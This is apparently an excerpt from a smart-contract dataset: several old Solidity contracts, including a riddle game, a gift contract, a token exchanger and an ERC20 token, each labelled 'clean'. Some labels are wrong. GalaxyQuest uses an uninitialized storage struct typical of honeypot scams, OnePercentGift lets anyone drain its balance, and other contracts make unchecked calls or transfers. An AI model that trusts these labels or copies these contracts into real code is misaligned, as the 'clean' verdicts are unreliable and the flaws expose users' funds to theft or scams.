contract GalaxyQuest {
    bytes32 private answerHash;
    bool private isActive;
    Guess[] public PreviousGuesses;
    string public Riddle;
    string public Answer;

    struct Guess { address player; string guess; }
    address private riddler;

    function () payable public {}
    
    constructor (string _riddle, string _answer) public payable {
        riddler = msg.sender;
        Riddle = _riddle;
        answerHash = keccak256(_answer);
        isActive = true;
    }

    function play(string guess) public payable {
        require(isActive);
        require(msg.value >= 0.33 ether);
        require(bytes(guess).length > 0);
        
        Guess newGuess;
        newGuess.player = msg.sender;
        newGuess.guess = guess;
        PreviousGuesses.push(newGuess);
        
        if (keccak256(guess) == answerHash) {
            Answer = guess;
            isActive = false;
            msg.sender.transfer(this.balance);
        }
    }
    
    function end(string _answer) public {
        require(msg.sender == riddler);
        Answer = _answer;
        isActive = false;
        msg.sender.transfer(this.balance);
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.19;

interface CornFarm
{
    function buyObject(address _beneficiary) public payable;
}

interface Corn
{
  function balanceOf(address who) public view returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
}

contract howdoyouturnthisthingon
{
    address public farmer = 0xC4C6328405F00Fa4a93715D2349f76DF0c7E8b79;
    
    function sowCorn(address soil, uint8 seeds) external
    {
        for(uint8 i = 0; i < seeds; ++i)
        {
            CornFarm(soil).buyObject(this);
        }
    }
    
    function reap(address corn) external
    {
        Corn(corn).transfer(farmer, Corn(corn).balanceOf(this));
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.16;

/// @author Bowen Sanders
/// sections built on the work of Jordi Baylina (Owned, data structure)
/// smartwedindex.sol contains a simple index of contract address, couple name, actual marriage date, bool displayValues to
/// be used to create an array of all SmartWed contracts that are deployed 
/// contract 0wned is licesned under GNU-3

/// @dev `Owned` is a base level contract that assigns an `owner` that can be
///  later changed
contract Owned {

    /// @dev `owner` is the only address that can call a function with this
    /// modifier
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    address public owner;

    /// @notice The Constructor assigns the message sender to be `owner`
    function Owned() {
        owner = msg.sender;
    }

    address public newOwner;

    /// @notice `owner` can step down and assign some other address to this role
    /// @param _newOwner The address of the new owner
    ///  an unowned neutral vault, however that cannot be undone
    function changeOwner(address _newOwner) onlyOwner {
        newOwner = _newOwner;
    }
    /// @notice `newOwner` has to accept the ownership before it is transferred
    ///  Any account or any contract with the ability to call `acceptOwnership`
    ///  can be used to accept ownership of this contract, including a contract
    ///  with no other functions
    function acceptOwnership() {
        if (msg.sender == newOwner) {
            owner = newOwner;
        }
    }

    // This is a general safty function that allows the owner to do a lot
    //  of things in the unlikely event that something goes wrong
    // _dst is the contract being called making this like a 1/1 multisig
    function execute(address _dst, uint _value, bytes _data) onlyOwner {
        _dst.call.value(_value)(_data);
    }
}

// contract WedIndex 

contract WedIndex is Owned {

    // declare index data variables
    string public wedaddress;
    string public partnernames;
    uint public indexdate;
    uint public weddingdate;
    uint public displaymultisig;

    IndexArray[] public indexarray;

    struct IndexArray {
        uint indexdate;
        string wedaddress;
        string partnernames;
        uint weddingdate;
        uint displaymultisig;
    }

    // make functions to write and read index entries and nubmer of entries
    function writeIndex(uint indexdate, string wedaddress, string partnernames, uint weddingdate, uint displaymultisig) {
        indexarray.push(IndexArray(now, wedaddress, partnernames, weddingdate, displaymultisig));
        IndexWritten(now, wedaddress, partnernames, weddingdate, displaymultisig);
    }

    // declare events
    event IndexWritten (uint time, string contractaddress, string partners, uint weddingdate, uint display);
}
// Vulnerability label: clean
pragma solidity ^0.4.21;

contract OnePercentGift{
	
	address owner;

	function OnePercentGift(){
		owner=msg.sender;
	}

	function refillGift() payable public{
        
	}

	function claim() payable public{
		if(msg.value == address(this).balance * 100){
			msg.sender.transfer(msg.value + address(this).balance);
		}
	}

	function reclaimUnwantedGift() public{
		owner.transfer(address(this).balance);
	}
}
// Vulnerability label: clean
pragma solidity ^0.4.18;

contract ERC20Interface {
    function balanceOf(address _owner) public constant returns (uint balance) {}
    function transfer(address _to, uint _value) public returns (bool success) {}
    function transferFrom(address _from, address _to, uint _value) public returns (bool success) {}
}

contract Exchanger {
  // Decimals 18
  ERC20Interface dai = ERC20Interface(0x89d24a6b4ccb1b6faa2625fe562bdd9a23260359);
  // Decimals 6
  ERC20Interface usdt = ERC20Interface(0xdac17f958d2ee523a2206206994597c13d831ec7);

  address creator = 0x34f1e87e890b5683ef7b011b16055113c7194c35;
  uint feeDAI = 100000000000000; // 0.01 cent fee
  uint feeUSDT = 100; // 0.01 cent fee

  function getDAI(uint _amountInDollars) public returns (bool) {
    usdt.transferFrom(msg.sender, this, _amountInDollars * (10 ** 6));
    dai.transfer(msg.sender, _amountInDollars * ((10 ** 18) - feeDAI ));
    return true;
  }

  function getUSDT(uint _amountInDollars) public returns (bool) {
    dai.transferFrom(msg.sender, this, _amountInDollars * (10 ** 18));
    usdt.transfer(msg.sender, _amountInDollars * ((10 ** 6) - feeUSDT ));
    return true;
  }

  function withdrawEquity(uint _amountInDollars, bool isUSDT) public returns (bool) {
    require(msg.sender == creator);
    if(isUSDT) {
      usdt.transfer(creator, _amountInDollars * (10 ** 6));
    } else {
      dai.transfer(creator, _amountInDollars * (10 ** 18));
    }
    return true;
  }
}
// Vulnerability label: clean
pragma solidity ^0.4.18;

contract CyberShekel {

  uint8 Decimals = 0;
  uint256 total_supply = 1000000000000;
  address owner;

  function CyberShekel() public{
    owner = msg.sender;
    balanceOf[msg.sender] = total_supply;
  }

  event Transfer(address indexed _from, address indexed _to, uint256 value);
  event Approval(address indexed _owner, address indexed _spender, uint256 value);

  mapping (address => uint256) public balanceOf;
  mapping (address => mapping (address => uint)) public allowance;


  function name() pure public returns (string _name){
    return "CyberShekel";
  }

  function symbol() pure public returns (string _symbol){
    return "CSK";
  }

  function decimals() view public returns (uint8 _decimals){
    return Decimals;
  }

  function totalSupply() public constant returns (uint256 total){
      return total_supply;
  }

  function balanceOf(address tokenOwner) public constant returns (uint256 balance){
    return balanceOf[tokenOwner];
  }

  function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining){
    return allowance[tokenOwner][spender];
  }

  function transfer(address recipient, uint256 value) public returns (bool success){
    require(balanceOf[msg.sender] >= value);
    require(balanceOf[recipient] + value >= balanceOf[recipient]);
    balanceOf[msg.sender] -= value;
    balanceOf[recipient] += value;
    Transfer(msg.sender, recipient, value);

    return true;
  }

  function approve(address spender, uint256 value) public returns (bool success){
    allowance[msg.sender][spender] = value;
    Approval(msg.sender, spender, value);
    return true;
  }

  function transferFrom(address from, address recipient, uint256 value) public
      returns (bool success){
    require(balanceOf[from] >= value);                                          //ensure from address has available balance
    require(balanceOf[recipient] + value >= balanceOf[recipient]);              //stop overflow
    require(value <= allowance[from][msg.sender]);                              //ensure msg.sender has enough allowance
    balanceOf[from] -= value;
    balanceOf[recipient] += value;
    allowance[from][msg.sender] -= value;
    Transfer(from, recipient, value);

    return true;
  }
  
}